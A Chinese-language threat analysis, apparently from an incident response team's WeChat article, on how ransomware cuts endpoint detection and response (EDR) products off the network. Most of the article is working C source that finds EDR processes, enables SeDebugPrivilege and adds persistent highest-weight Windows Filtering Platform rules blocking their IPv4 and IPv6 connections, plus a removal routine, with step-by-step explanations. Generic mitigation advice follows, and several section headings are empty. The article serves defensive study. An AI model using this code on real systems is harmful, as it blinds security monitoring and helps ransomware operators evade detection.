模拟客户网络拓扑环境
1. 背景
1.1 家族介绍
1.2 终端检测与响应(EDR)测试结果
2. 流量致盲对抗EDR
2.1 阻止进程流量函数
void BlockEdrProcessTraffic() {
DWORD result = 0;
HANDLE hEngine = NULL;
HANDLE hProcessSnap = NULL;
HANDLE hModuleSnap = NULL;
PROCESSENTRY32 pe32 = {0};
BOOL isEdrDetected = FALSE;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.n", result);
return;
}
EnableSeDebugPrivilege();
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x.n", GetLastError());
return;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
printf("[-] Process32First failed with error code: 0x%x.n", GetLastError());
CloseHandle(hProcessSnap);
return;
}
do {
if (isInEdrProcessList(pe32.szExeFile)) {
isEdrDetected = TRUE;
printf("Detected running EDR process: %s (%d):n", pe32.szExeFile, pe32.th32ProcessID);
// Get full path of the running process
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess) {
WCHAR fullPath[MAX_PATH] = {0};
DWORD size = MAX_PATH;
FWPM_FILTER_CONDITION0 cond = {0};
FWPM_FILTER0 filter = {0};
FWPM_PROVIDER0 provider = {0};
GUID providerGuid = {0};
FWP_BYTE_BLOB* appId = NULL;
UINT64 filterId = 0;
ErrorCode errorCode = CUSTOM_SUCCESS;
QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
errorCode = CustomFwpmGetAppIdFromFileName0(fullPath, &appId);
if (errorCode != CUSTOM_SUCCESS) {
switch (errorCode) {
case CUSTOM_FILE_NOT_FOUND:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the "%S" to app ID format. The file path cannot be found.n", fullPath);
break;
case CUSTOM_MEMORY_ALLOCATION_ERROR:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the "%S" to app ID format. Error occurred in allocating memory for appId.n", fullPath);
break;
case CUSTOM_NULL_INPUT:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the "%S" to app ID format. Please check your input.n", fullPath);
break;
case CUSTOM_DRIVE_NAME_NOT_FOUND:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the "%S" to app ID format. The drive name cannot be found.n", fullPath);
break;
case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the "%S" to app ID format. Failed to convert drive name to DOS device name.n", fullPath);
break;
default:
break;
}
CloseHandle(hProcess);
continue;
}
// Sett up WFP filter and condition
filter.displayData.name = filterName;
filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
filter.action.type = FWP_ACTION_BLOCK;
UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
filter.weight.type = FWP_UINT64;
filter.weight.uint64 = &weightValue;
cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
cond.matchType = FWP_MATCH_EQUAL;
cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
cond.conditionValue.byteBlob = appId;
filter.filterCondition = &cond;
filter.numFilterConditions = 1;
// Add WFP provider for the filter
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
filter.providerKey = &providerGuid;
} else {
provider.displayData.name = providerName;
provider.displayData.description = providerDescription;
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
result = FwpmProviderAdd0(hEngine, &provider, NULL);
if (result != ERROR_SUCCESS) {
printf(" [-] FwpmProviderAdd0 failed with error code: 0x%x.n", result);
} else {
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
filter.providerKey = &providerGuid;
}
}
}
// Add filter to both IPv4 and IPv6 layers
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
if (result == ERROR_SUCCESS) {
printf(" Added WFP filter for "%S" (Filter id: %d, IPv4 layer).n", fullPath, filterId);
} else {
printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x.n", result);
}
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
if (result == ERROR_SUCCESS) {
printf(" Added WFP filter for "%S" (Filter id: %d, IPv6 layer).n", fullPath, filterId);
} else {
printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x.n", result);
}
FreeAppId(appId);
CloseHandle(hProcess);
} else {
printf(" [-] Could not open process "%s" with error code: 0x%x.n", pe32.szExeFile, GetLastError());
}
}
} while (Process32Next(hProcessSnap, &pe32));
if (!isEdrDetected) {
printf("[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.n");
}
CloseHandle(hProcessSnap);
FwpmEngineClose0(hEngine);
return;
}
-
打开 WFP 引擎:使用 FwpmEngineOpen0
打开 WFP 引擎。如果打开失败,打印错误并退出。 -
获取进程列表:通过 CreateToolhelp32Snapshot
获取系统中所有进程的快照,并使用Process32First
和Process32Next
遍历每个进程。 -
检测 EDR 进程:对于每个进程,检查其名称是否在预定义的 EDR 进程列表中(通过 isInEdrProcessList
函数)。如果检测到 EDR 进程,则执行以下操作:-
打印进程名称和 PID。 -
获取该进程的完整路径,并通过 CustomFwpmGetAppIdFromFileName0
获取该进程的 App ID(应用程序 ID)。如果获取失败,打印错误信息并继续处理下一个进程。
-
-
创建 WFP 过滤器: -
配置 WFP 过滤器的条件,基于进程的 App ID 来匹配。 -
设置 WFP 过滤器的动作为 FWP_ACTION_BLOCK
,即阻止匹配条件的网络连接。 -
为 IPv4 和 IPv6 两个网络层添加该过滤器,阻止 EDR 进程的网络流量。
-
-
添加 WFP 提供程序:如果没有已知的 WFP 提供程序 GUID,则创建一个新的 WFP 提供程序,并将其与过滤器关联。 -
关闭资源:处理完所有进程后,关闭进程快照句柄和 WFP 引擎。 -
错误处理:整个过程中,如果发生任何错误(例如,打开进程失败、添加过滤器失败等),都会打印详细的错误信息。
2.2 恢复函数
void UnblockAllWfpFilters() {
HANDLE hEngine = NULL;
DWORD result = 0;
HANDLE enumHandle = NULL;
FWPM_FILTER0** filters = NULL;
GUID providerGuid = {0};
UINT32 numFilters = 0;
BOOL foundFilter = FALSE;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.n", result);
return;
}
result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x.n", result);
return;
}
while(TRUE) {
result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmFilterEnum0 failed with error code: 0x%x.n", result);
FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine);
return;
}
if (numFilters == 0) {
break;
}
FWPM_DISPLAY_DATA0 *data = &filters[0]->displayData;
WCHAR* currentFilterName = data->name;
if (wcscmp(currentFilterName, filterName) == 0) {
foundFilter = TRUE;
UINT64 filterId = filters[0]->filterId;
result = FwpmFilterDeleteById0(hEngine, filterId);
if (result == ERROR_SUCCESS) {
printf("Deleted filter id: %llu.n", filterId);
} else {
printf("[-] Failed to delete filter id: %llu with error code: 0x%x.n", filterId, result);
}
}
}
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
if (result != ERROR_SUCCESS) {
if (result != FWP_E_IN_USE) {
printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.n", result);
}
} else {
printf("Deleted custom WFP provider.n");
}
}
if (!foundFilter) {
printf("[-] Unable to find any WFP filter created by this tool.n");
}
FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine);
}
FwpmEngineOpen0
):-
调用 FwpmEngineOpen0
打开 WFP 引擎。如果打开失败,则打印错误代码并退出。
FwpmFilterCreateEnumHandle0
):-
调用 FwpmFilterCreateEnumHandle0
创建一个过滤器枚举句柄,这个句柄用于遍历当前系统中所有的 WFP 过滤器。如果创建枚举句柄失败,则打印错误信息并退出。
FwpmFilterEnum0
):-
通过 FwpmFilterEnum0
获取系统中已存在的过滤器。每次调用FwpmFilterEnum0
都会枚举一个或多个过滤器。这里的1
表示每次枚举一个过滤器,返回的filters
是过滤器数组,numFilters
表示返回的过滤器数量。 -
如果调用失败,打印错误代码并退出。如果没有更多的过滤器(即 numFilters == 0
),则退出循环。
-
在循环中,对于每个枚举的过滤器,检查其名称是否与 filterName
匹配。如果匹配:-
设置 foundFilter
为TRUE
,表示找到了要删除的过滤器。 -
获取过滤器的 filterId
,并使用FwpmFilterDeleteById0
删除该过滤器。如果删除成功,打印成功消息;否则,打印失败的错误信息。
-
FwpmProviderDeleteByKey0
):-
如果成功获取到提供程序的 GUID(通过 GetProviderGUIDByDescription
),则使用FwpmProviderDeleteByKey0
删除相应的 WFP 提供程序。如果删除失败,检查是否是由于该提供程序仍在使用(FWP_E_IN_USE
),如果是其他错误,则打印错误代码。
-
如果遍历所有过滤器后未找到符合条件的过滤器,则打印未找到过滤器的消息。
-
通过 FwpmFilterDestroyEnumHandle0
销毁过滤器枚举句柄,并通过FwpmEngineClose0
关闭 WFP 引擎,释放资源。
2.3 鉴权函数
BOOL CheckProcessIntegrityLevel() {
HANDLE hToken = NULL;
DWORD dwLength = 0;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
DWORD dwIntegrityLevel = 0;
BOOL isHighIntegrity = FALSE;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) {
printf("[-] OpenThreadToken failed with error code: 0x%x.n", GetLastError());
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed with error code: 0x%x.n", GetLastError());
return FALSE;
}
}
// Get the size of the integrity level information
if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
printf("[-] GetTokenInformation failed with error code: 0x%x.n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);
if (pTIL == NULL) {
printf("[-] LocalAlloc failed with error code: 0x%x.n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) {
printf("[-] GetTokenInformation failed with error code: 0x%x.n", GetLastError());
LocalFree(pTIL);
CloseHandle(hToken);
return FALSE;
}
if (pTIL->Label.Sid == NULL || *GetSidSubAuthorityCount(pTIL->Label.Sid) < 1) {
printf("[-] SID structure is invalid.n");
LocalFree(pTIL);
CloseHandle(hToken);
return FALSE;
}
dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
isHighIntegrity = TRUE;
} else {
printf("[-] This program requires to run in high integrity level.n");
}
LocalFree(pTIL);
CloseHandle(hToken);
return isHighIntegrity;
}
OpenThreadToken
和 OpenProcessToken
):-
首先,代码尝试使用 OpenThreadToken
获取当前线程的访问令牌。如果当前线程没有令牌(即返回错误代码ERROR_NO_TOKEN
),则尝试使用OpenProcessToken
获取当前进程的访问令牌。 -
如果都失败,程序会打印错误信息并返回 FALSE
,表示无法获取令牌。
获取令牌的完整性级别信息 (GetTokenInformation):
-
调用 GetTokenInformation
来查询访问令牌中的完整性级别信息。首先,调用时传入NULL
参数并获取所需的缓冲区大小(dwLength
),如果返回值是ERROR_INSUFFICIENT_BUFFER
,表示缓冲区大小不足,接着分配足够的内存。 -
使用 GetTokenInformation
获取完整性级别信息并存储到pTIL
(PTOKEN_MANDATORY_LABEL
类型)中。如果获取失败,打印错误信息并返回FALSE
。
验证完整性级别的有效性:
-
完整性级别是通过令牌中的 SID(安全标识符)获取的。通过 GetSidSubAuthorityCount
和GetSidSubAuthority
获取 SID 中的完整性级别信息。 -
如果 SID 无效(例如为空或没有子授权),代码会打印错误信息并返回 FALSE
。
判断完整性级别:
-
通过获取的完整性级别与常量 SECURITY_MANDATORY_HIGH_RID
进行比较,来判断当前进程是否具有“高完整性”级别。这个常量通常表示高权限进程(如管理员权限、系统进程等)。 -
如果完整性级别大于或等于 SECURITY_MANDATORY_HIGH_RID
,则认为当前进程具有高完整性,设置isHighIntegrity
为TRUE
。
释放资源和关闭句柄:
-
代码在操作完成后通过 LocalFree
释放分配的内存,并通过CloseHandle
关闭打开的令牌句柄。
返回值:
-
最后,返回 isHighIntegrity
变量,指示当前进程或线程是否在高完整性级别上运行。
2.4 提权函数
BOOL EnableSeDebugPrivilege() {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tokenPrivileges = {0};
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) {
printf("[-] OpenThreadToken failed with error code: 0x%x.n", GetLastError());
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf("[-] OpenProcessToken failed with error code: 0x%x.n", GetLastError());
return FALSE;
}
}
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){
printf("[-] LookupPrivilegeValueA failed with error code: 0x%x.n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
printf("[-] AdjustTokenPrivileges failed with error code: 0x%x.n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] Failed to get SeDebugPrivilege. You might not be able to get the process handle of the EDR process.n");
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
1.打开访问令牌:
尝试打开当前线程的令牌;若失败,再尝试打开当前进程的令牌。
SeDebugPrivilege
权限:使用 LookupPrivilegeValueA
查找 SeDebugPrivilege
的 LUID。
调用 AdjustTokenPrivileges
启用 SeDebugPrivilege
权限。
如果权限没有成功启用,返回 FALSE
并输出错误。
如果权限启用成功,返回 TRUE
。
3. 总结
4.安全建议
4.1 风险消减措施
前期处理方法(企业内部):
1.尽快断开被感染设备的网络连接,以防止病毒进一步扩散!
2.请勿中途强制关机,该行为会造成不可逆后果
3.不要尝试自行解密或支付赎金,以免造成更大损失!以下为详细的消减措施:
1. 数据备份策略
定期进行数据备份,并确保备份数据存储在物理隔离的设备或云环境中,避免备份被勒索病毒感染。
实施多重备份策略,如每日、每周、每月备份,以确保在灾难恢复时有多种数据版本可供选择。
2. 系统和应用更新
定期更新操作系统和应用软件,及时打补丁,修复已知的漏洞。
开启自动更新功能,确保始终拥有最新的安全补丁。
3. 邮件和浏览器安全
部署电子邮件安全网关,过滤恶意附件和链接。
培训员工识别钓鱼邮件和恶意链接,提高对社会工程攻击的防范意识。
限制员工对高风险网站(如未经过筛选的下载网站)的访问,减少通过恶意广告和下载感染的风险。
4. 用户权限管理
最小权限原则(Principle of Least Privilege):根据岗位需求分配权限,避免不必要的管理员权限。
禁止员工使用公共账户和共享账号,所有用户需拥有独立的登录凭证。
5. 启用多因素认证(MFA)
为关键系统和远程访问启用MFA,防止账号被未经授权访问。
除了密码之外,添加短信验证、动态令牌等额外的安全层。
6. 网络分段与隔离
实施网络分段,将关键系统与普通网络隔离开,防止勒索病毒在局域网内扩散。
对于重要的业务系统,采用单独的VLAN和防火墙策略进行防护。
7. 部署防勒索软件和端点检测响应(EDR)
使用防病毒软件和防勒索软件,及时识别和阻止潜在的勒索病毒攻击。
部署EDR解决方案,以监测和响应异常活动,迅速隔离感染设备,防止病毒扩散。
8. 建立并测试应急响应计划
制定详细的应急响应计划,明确在勒索攻击发生时的应对步骤。
定期演练,测试该计划的可操作性,并进行改进。
9. 入侵检测与流量监控
使用入侵检测系统(IDS)和入侵防御系统(IPS),识别和阻断异常流量。
监控网络流量日志,以便在勒索病毒传播的早期阶段及时发现异常。
4.2 安全设备调优
目标
原文始发于微信公众号(solar应急响应团队):【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第二篇-流量致盲,无声突破
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论